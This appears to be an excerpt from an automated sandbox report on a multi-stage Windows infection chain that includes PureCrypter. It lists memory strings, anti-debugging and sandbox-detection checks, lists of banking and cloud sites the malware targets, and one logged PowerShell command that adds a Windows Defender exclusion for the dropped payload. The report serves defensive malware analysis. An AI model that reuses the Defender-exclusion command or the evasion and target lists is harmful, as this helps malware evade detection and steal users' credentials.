Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior

Source: 4edf09f764.exe, 00000034.00000003.3010744040.00000000059CD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: 4edf09f764.exe, 00000034.00000003.3010744040.00000000059CD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: 4edf09f764.exe, 00000034.00000003.3010744040.00000000059CD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: filer.exe, 0000001A.00000002.2806587118.00007FF7CAC2C000.00000002.00000001.01000000.0000000E.sdmp	Binary or memory string: (scan MB in pacer: % CPU ( zombie, j0 = head = panic: nmsys= locks= dying= allocsGODEBUG m->g0= pad1= pad2= text= minpc= value= (scan)types : type abortedCopySidWSARecvWSASendconnectsignal file://LeftAltPATHEXTnumber confirmcheckedwarningarrowUphistorydesktopstorageaccountpressedsuccessregularRegularControlregeditollydbgdf5servvmusrvcqemu-gafakenetfiddlerdumpcapsharpodsnifferpetoolsharmonycharlesphantomx32_dbgx64_dbgwpe proavg.comCaption%.2f GB\\.\UNCFloats:AvestanBengaliBrailleCypriotDeseretElbasanElymaicGranthaHanunooKannadaMakasarMandaicMarchenMultaniMyanmarOsmanyaSharadaShavianSiddhamSinhalaSogdianSoyomboTagalogTibetanTirhutaavx512fos/execruntimetls3desNRGBA64UpgradeTrailersocks5hHEADERSReferer flags= len=%d (conn) %v=%v,expiresrefererrefreshtrailername %q:method:schemeupgrade:statushttp://chunkedCreatedIM UsedCONNECTcharsetnil keyfeatherIntegerFreeSidSleepExHeadingRawHTML%s%s {
Source: 4edf09f764.exe, 00000034.00000003.3010744040.00000000059CD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696492231s
Source: 4edf09f764.exe, 00000034.00000003.3010744040.00000000059CD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696492231
Source: 4edf09f764.exe, 00000034.00000003.3010744040.00000000059CD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: 4edf09f764.exe, 00000034.00000003.3010744040.00000000059CD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: file.exe, 00000000.00000002.1897672574.0000000001676000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000032.00000003.2808417246.000000000137B000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000032.00000003.2916219673.000000000137B000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000032.00000003.3015738461.000000000137B000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000032.00000003.2941499349.000000000137B000.00000004.00000020.00020000.00000000.sdmp, 6af0f0d802.exe, 00000033.00000002.2898396120.00000000015A1000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.2984206499.0000000001195000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.3008319488.0000000001195000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.3047418528.0000000001195000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.3048746882.0000000001195000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 4edf09f764.exe, 00000034.00000003.3010744040.00000000059CD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: 4edf09f764.exe, 00000034.00000003.3010744040.00000000059CD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: filer.exe, 0000001A.00000002.2806587118.00007FF7CAC2C000.00000002.00000001.01000000.0000000E.sdmp	Binary or memory string: m=nil base hangupkilledlistensocketEscapeReturnInsertDeleteexec: numberdeletesearchfolderuploadlogoutbuttonorangeyellowpurpleerror_Italic%w: %sImage x32dbgvmsrvcprl_ccx96dbgdbgclrde4dotwindbgpc-retx64dbgghidra-ForceattribGetACPCommonArabicBrahmiCarianChakmaCopticGothicHangulHatranHebrewKaithiKhojkiLepchaLycianLydianRejangSyriacTai_LeTangsaTangutTeluguThaanaWanchoYezidirdtscppopcntcmd/gonetdnsRGBA64Gray16activeclosedsocks5CANCELGOAWAYPADDEDBasic CookieacceptcookieexpectoriginserverExpectPragmasocks Locked%s: %snormalradiussimple\u0000\u0001\u0002\u0003\u0004\u0005\u0006\u0007\u000b\u000e\u000f\u0010\u0011\u0012\u0013\u0014\u0015\u0016\u0017\u0018\u0019\u001a\u001b\u001c\u001d\u001e\u001f\u007ftoml: \"""""KeyEndGetAcesendtoMarkerOffsetfile[]NumbersqliteChromeChedotKometaFenrirCoowonLiebaoDragonCocCocYandexVideos
Source: 4edf09f764.exe, 00000034.00000003.3010744040.00000000059CD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696492231f
Source: filer.exe, 0000001A.00000002.2806587118.00007FF7CAC2C000.00000002.00000001.01000000.0000000E.sdmp	Binary or memory string: runqueue= stopwait= runqsize= gfreecnt= throwing= spinning=atomicand8float64nanfloat32nanException ptrSize= targetpc= until pc=unknown pcruntime: ggoroutine terminatedowner diedDnsQuery_WGetIfEntryCancelIoExCreatePipeGetVersionWSACleanupWSAStartupgetsockoptsetsockoptdnsapi.dllws2_32.dlltext/plainuser32.dllFyne ErrorFYNE_SCALERightShiftRightSuperdwmapi.dllexecerrdotSYSTEMROOT for type cancel.svgdelete.svgsearch.svgfolder.svgupload.svglogout.svgmenuExpandcontentCutmediaMusicmediaPhotomediaVideomediaPausefolderOpenviewZoomInvisibilityvolumeDownvolumeMuteboldItalicBoldItalicFYNE_CACHEvmwaretrayxenservicevmwareusermegadumperscyllahidemcafee.comnorton.comzillya.comsophos.comclamav.netpowershellsystemrootShowWindowsystemdataLockFileExWSASocketWChorasmianDevanagariGlagoliticKharoshthiManichaeanOld_ItalicOld_PermicOld_TurkicOld_UyghurPhoenicianSaurashtrahttp2debugcrypto/tlsimage: NewConnectionimage/webpimage/jpegUser-AgentRST_STREAMEND_STREAMSet-Cookie stream=%dset-cookieuser-agentkeep-alive:authorityconnectionHost: %s
Source: filer.exe	Binary or memory string: andcontentCutmediaMusicmediaPhotomediaVideomediaPausefolderOpenviewZoomInvisibilityvolumeDownvolumeMuteboldItalicBoldItalicFYNE_CACHEvmwaretrayxenservicevmwareusermegadumperscyllahidemcafee.comnorton.comzillya.comsophos.comclamav.netpowershellsystemrootShowWin
Source: 4edf09f764.exe, 00000034.00000003.3010744040.00000000059CD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696492231
Source: filer.exe	Binary or memory string: account.svgradioButtoncontentCopycontentRedocontentUndomailComposemailForwardmediaRecordmediaReplayarrowDropUpviewRefreshviewRestoreviewZoomFitviewZoomOutinputRadiuslineSpacingheadingText[no events]EnumWindowsvboxservicecodecrackertotalav.comadaware.comProcess
Source: 4edf09f764.exe, 00000034.00000003.3010744040.00000000059CD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: 4edf09f764.exe, 00000034.00000003.3010744040.00000000059CD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: 4edf09f764.exe, 00000034.00000003.3010744040.00000000059CD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696492231o
Source: 6af0f0d802.exe, 00000033.00000002.2898396120.000000000152E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: 4edf09f764.exe, 00000034.00000003.3010744040.00000000059CD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: 4edf09f764.exe, 00000034.00000003.3010744040.00000000059CD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: 4edf09f764.exe, 00000034.00000003.3010744040.00000000059CD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: 4edf09f764.exe, 00000034.00000003.3010744040.00000000059CD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: 4edf09f764.exe, 00000034.00000003.3010744040.00000000059CD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: 4edf09f764.exe, 00000034.00000003.3010744040.00000000059CD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696492231]
Source: file.exe, file.exe, 00000000.00000002.1896784903.0000000000746000.00000040.00000001.01000000.00000003.sdmp, DocumentsBGIJJKKJJD.exe, DocumentsBGIJJKKJJD.exe, 00000015.00000002.1935416223.0000000000368000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, skotes.exe, 00000018.00000002.1979530676.0000000000B98000.00000040.00000001.01000000.0000000D.sdmp, 6af0f0d802.exe, 00000033.00000002.2894340547.0000000000C76000.00000040.00000001.01000000.00000019.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: 4edf09f764.exe, 00000034.00000003.2984206499.0000000001195000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.3008319488.0000000001195000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.3047418528.0000000001195000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.3048746882.0000000001195000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.2974126653.0000000001195000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.3006999439.0000000001195000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.3046636505.0000000001195000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.3097424404.0000000001195000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWygS*
Source: 4edf09f764.exe, 00000034.00000003.3010744040.00000000059CD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: file.exe, 00000000.00000002.1897672574.0000000001644000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW8
Source: 4edf09f764.exe, 00000034.00000003.3010744040.00000000059CD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: filer.exe	Binary or memory string: authservicevmwareservicejoeboxcontrolprocesshackerhttp debuggerextremedumperprotection_idscanguard.compcprotect.comus.norton.comkaspersky.combullguard.comzonealarm.comdalTLDpSugct?GetTempPath2WModule32NextWRtlGetVersionGunjala_GondiMasaram_GondiMende_KikakuiOl
Source: filer.exe	Binary or memory string: tPATHEXTnumber confirmcheckedwarningarrowUphistorydesktopstorageaccountpressedsuccessregularRegularControlregeditollydbgdf5servvmusrvcqemu-gafakenetfiddlerdumpcapsharpodsnifferpetoolsharmonycharlesphantomx32_dbgx64_dbgwpe proavg.comCaption%.2f GB\\.\UNCFloats:
Source: 4edf09f764.exe, 00000034.00000003.3010744040.00000000059CD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: filer.exe	Binary or memory string: nloadcomputer%-13s %qvmtoolsdvboxtraypestudiovmacthlpksdumperdebuggerstrongodgraywolf0harmonyreversaleset.com-CommandDisabled0.0.0.0 USERNAMEfinishedwsaioctlacceptexArmenianBalineseBopomofoBugineseCherokeeCyrillicDuployanEthiopicGeorgianGujaratiGurmukhiHiragan
Source: 60114bff78.exe, 00000029.00000003.2631118525.00000000075EF000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SYSINTERNALSNum_processorNum_ramnameallfreedriversNum_displaysresolution_xresolution_y\recent_filesprocessesuptime_minutesC:\Windows\System32\VBox.dll01vbox_firstSYSTEM\ControlSet001\Services\VBoxSFvbox_secondC:\USERS\PUBLIC\public_checkWINDBG.EXEdbgwireshark.exeprocmon.exex64dbg.exeida.exedbg_secdbg_thirdyadroinstalled_appsSOFTWARE\Microsoft\Windows\CurrentVersion\UninstallSOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall%d%s\%sDisplayNameapp_nameindexCreateToolhelp32Snapshot failed.
Source: 6af0f0d802.exe, 00000033.00000002.2898396120.0000000001577000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWOZ
Source: 4edf09f764.exe, 00000034.00000003.3010744040.00000000059CD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: 4edf09f764.exe, 00000034.00000003.3010744040.00000000059CD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: 4edf09f764.exe, 00000034.00000003.3009511398.00000000059DA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696492231p
Source: 4edf09f764.exe, 00000034.00000003.3010744040.00000000059CD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: filer.exe, 0000001A.00000002.2764484492.000001D7A6EA2000.00000004.00000020.00020000.00000000.sdmp, 60114bff78.exe, 00000029.00000003.2703112903.0000000001885000.00000004.00000020.00020000.00000000.sdmp, Tq4a1Bz.exe, 00000031.00000002.2697060930.0000000009805000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: 60114bff78.exe, 00000029.00000003.2631118525.00000000075EF000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SYSTEM\ControlSet001\Services\VBoxSF
Source: 4edf09f764.exe, 00000032.00000003.2808417246.000000000137B000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000032.00000003.2916219673.000000000137B000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000032.00000003.3015738461.000000000137B000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000032.00000003.2941499349.000000000137B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWZ
Source: 4edf09f764.exe, 00000034.00000003.3010744040.00000000059CD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696492231j
Source: 4edf09f764.exe, 00000034.00000003.3010744040.00000000059CD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: 4edf09f764.exe, 00000034.00000003.3010744040.00000000059CD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: filer.exe	Binary or memory string: eteexec: numberdeletesearchfolderuploadlogoutbuttonorangeyellowpurpleerror_Italic%w: %sImage x32dbgvmsrvcprl_ccx96dbgdbgclrde4dotwindbgpc-retx64dbgghidra-ForceattribGetACPCommonArabicBrahmiCarianChakmaCopticGothicHangulHatranHebrewKaithiKhojkiLepchaLycianLydia
Source: 4edf09f764.exe, 00000034.00000003.3010744040.00000000059CD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: file.exe, 00000000.00000002.1896784903.0000000000746000.00000040.00000001.01000000.00000003.sdmp, DocumentsBGIJJKKJJD.exe, 00000015.00000002.1935416223.0000000000368000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 00000018.00000002.1979530676.0000000000B98000.00000040.00000001.01000000.0000000D.sdmp, 6af0f0d802.exe, 00000033.00000002.2894340547.0000000000C76000.00000040.00000001.01000000.00000019.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: filer.exe, 0000001A.00000002.2806587118.00007FF7CAC2C000.00000002.00000001.01000000.0000000E.sdmp	Binary or memory string: BecauseCayleysCconintCedillaDiamondDownTeeElementImpliesLeftTeeNewLineNoBreakNotLessOverBarProductUpArrowUparrowangrtvbangzarrasympeqbacksimbecausebemptyvbetweenbigcircbigodotbigstarbnequivboxplusccupssmcemptyvcirscircoloneqcongdotcudarrlcudarrrcularrpcurarrmdbkarowddaggerddotseqdemptyvdiamonddigammadotplusdwangleeqcolonequivDDgesdotogtquestgtrlessharrcirintprodisindotlarrbfslarrsimlbrksldlbrksluldrdharlesdotolessdotlessgtrlesssimlotimesltquestluruharmalteseminusdunapproxnaturalnearrownexistsnotinvanotinvbnotinvcnotnivanotnivbnotnivcnpolintnpreceqnsqsubensqsupensubsetnsucceqnsupsetnvinfinnvltrienvrtrienwarrowolcrossorderoforslopepertenkplanckhpluscirplussimplustwoprecsimquatintquesteqrarrbfsrarrsimrbrksldrbrkslurdldharrealinerotimesruluharsearrowsimplussimrarrsubedotsubmultsubplussubrarrsuccsimsupdsubsupedotsuphsolsuphsubsuplarrsupmultsupplusswarrowtopforktriplustritimeuparrowuwanglevzigzagzigrarrfonnapado-hansdo-hantjy-hansjy-hantmn-hansmn-hantnp-hansnp-hantpx-hanspx-hantsp-hanssp-hantzh-hanszh-hantzo-hanszo-hantpolytonan-hansan-hantarevmdaak-hansak-hantsn-hanssn-hantprovencuu-hansuu-hantue-hanspdh.dll_pragmapragma _txlockSHA-224SHA-256SHA-384SHA-512Ed25519MD5-RSAserial:eae_prkanswers{{end}} actioncommandoperandabl1943akuapemalalc97arevelaarkaikabalankabauddhabohoricemodenggrclassgrmistrhepburnitihasalaukikalemosinltg1929ltg2007metelkomonotonpahawh2pahawh3pahawh4sursilvsutsilvvaidika%s-%s%sAEsmallOEsmall001.000001.001001.002001.003crimsondarkreddimgraydimgreyfuchsiahotpinkmagentaoldlaceskybluethistleInstAltInstNopalt -> nop -> any -> EllipseEndPageFillRgnIsChildSetMenuSetRect_accessctime64wcsncpywcsrchrnil TLS2.5.4.62.5.4.32.5.4.52.5.4.72.5.4.82.5.4.9amxtileamxint8amxbf16osxsavegb18030logicalcskoi8rkoi8-rudos-874tis-620chinesegb_2312cn-big5cseuckrksc5601unicode]?)(.*)GB18030GoString01234567beEfFgGvThursdaySaturdayFebruaryNovemberDecember%!Month(ZONEINFOrundll32icon.pnggo-builddisabledtruncateFullPath48828125infinitystrconv.parsing ParseIntFuncTypestruct {nil PoolscavengepollDesctraceBufdeadlockraceFinipanicnilcgocheckrunnable procid rax rbx rcx rdx rdi rsi rbp rsp r8 r9 r10 r11 r12 r13 r14 r15 rip rflags cs fs gs is not pointer packed=BAD RANK status unknown(trigger= npages= nalloc= nfreed=[signal newval= mcount= bytes, stack=[ minLC= maxpc= stack=[ minutes status= etypes no anodeCancelIoReadFileAcceptExWSAIoctlshutdown Cause:KP_EnterRightAltCapsLockmenu.svginfo.svgfile.svghelp.svghome.svglist.svggrid.svgdocumentquestionmailSendfileTextsettingsvolumeUpdownloadcomputer%-13s %qvmtoolsdvboxtraypestudiovmacthlpksdumperdebuggerstrongodgraywolf0harmonyreversaleset.com-CommandDisabled0.0.0.0 USERNAMEfinishedwsaioctlacceptexArmenianBalineseBopomofoBugineseCherokeeCyrillicDuployanEthiopicGeorgianGujaratiGurmukhiHiraganaJavaneseKatakanaKayah_LiLinear_ALinear_BMahajaniOl_ChikiPhags_PaTagbanwaTai_ThamTai_VietTifinaghUgariticVithkuqiavx512bwavx512vlgo/typesnet/httpgo
Source: 4edf09f764.exe, 00000034.00000003.3010744040.00000000059CD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696492231\|UE

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1009401001\6af0f0d802.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	File opened: SIWVID

Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe

System information queried: KernelDebuggerInformation

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsBGIJJKKJJD.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1009393001\60114bff78.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1009401001\6af0f0d802.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1009401001\6af0f0d802.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1009401001\6af0f0d802.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1009400001\4edf09f764.exe	Process queried: DebugPort

Source: C:\Users\user\DocumentsBGIJJKKJJD.exe

Code function: 21_2_04B50CED rdtsc

21_2_04B50CED

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CEDAC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_6CEDAC62

Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CEDAC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_6CEDAC62

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: file.exe PID: 7284, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 6af0f0d802.exe PID: 5360, type: MEMORYSTR

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath C:\Users\user~1\AppData\Local\Temp\1009384001\filer.exe
Source: C:\Users\user\AppData\Local\Temp\1009384001\filer.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath C:\Users\user~1\AppData\Local\Temp\1009384001\filer.exe

Detected PureCrypter Trojan

Source: 4edf09f764.exe, 00000032.00000003.2844588125.00000000013CF000.00000004.00000020.00020000.00000000.sdmp

String found in binary or memory: {"ConfigIDs":"{\"ECS\":\"P-R-1082570-1-11,P-D-42388-2-6\",\"Edge\":\"P-X-1253166-4-5,P-X-1126445-2-5,P-X-1159506-2-5,P-X-1137521-3-11,P-X-1116674-11-34,P-X-1095018-2-6,P-X-1096650-2-6,P-X-1077147-1-9,P-X-1069756-1-8,P-X-1071593-2-4,P-X-1061902-3-17,P-X-1048071-1-5,P-X-1010579-1-9,P-X-1008556-23-102,P-X-1036081-1-3,P-X-1012411-2-9,P-X-97954-9-100,P-R-1068861-4-12,P-R-1008497-12-13,P-R-87486-2-17,P-R-67067-6-66,eej45377:646690,41612551:479862,cfg5e884:560003,eggf0128:472101,sendtabqr:498558,edauth0529:481519,9ffeg962:402950,ed0317:378541,producttrackingalertsettings_v1:458225,2chfa640:363442,edpas404:384675,hjd07315:315108,edenh823:312573,i8id9958:449025,v1_onlineselextraction:330872,edklo447:358232,linkui:481501\",\"EdgeConfig\":\"P-R-1457891-1-5,P-R-1279375-1-7,P-R-1221542-1-5,P-R-1176033-4-5,P-R-1174322-1-4,P-R-1129815-1-5,P-R-1148262-1-5,P-R-1147287-1-6,P-R-1136203-1-4,P-R-1133477-1-4,P-R-1130507-1-6,P-R-1113531-4-9,P-R-1099640-1-4,P-R-1098501-1-7,P-R-1090419-1-5,P-R-1082109-1-6,P-R-1082170-4-26,P-R-1052391-1-8,P-R-1039913-1-22,P-R-1036635-2-5,P-R-110491-24-85,P-R-68474-9-12,P-R-61206-14-20,P-R-61153-10-15,P-R-60617-7-21,P-R-45373-8-85,P-R-46265-41-108,P-D-1150672-1-4\",\"EdgeDomainActions\":\"P-R-1093245-1-19,P-R-1037936-1-14,P-R-1024693-1-11,P-R-108604-1-36,P-R-78306-1-18,P-R-73626-1-17,P-R-71025-5-13,P-R-63165-4-26,P-R-53243-2-7,P-R-40093-3-26,P-R-38744-7-97,P-R-31899-21-486,P-D-1138318-1-3,P-D-98331-6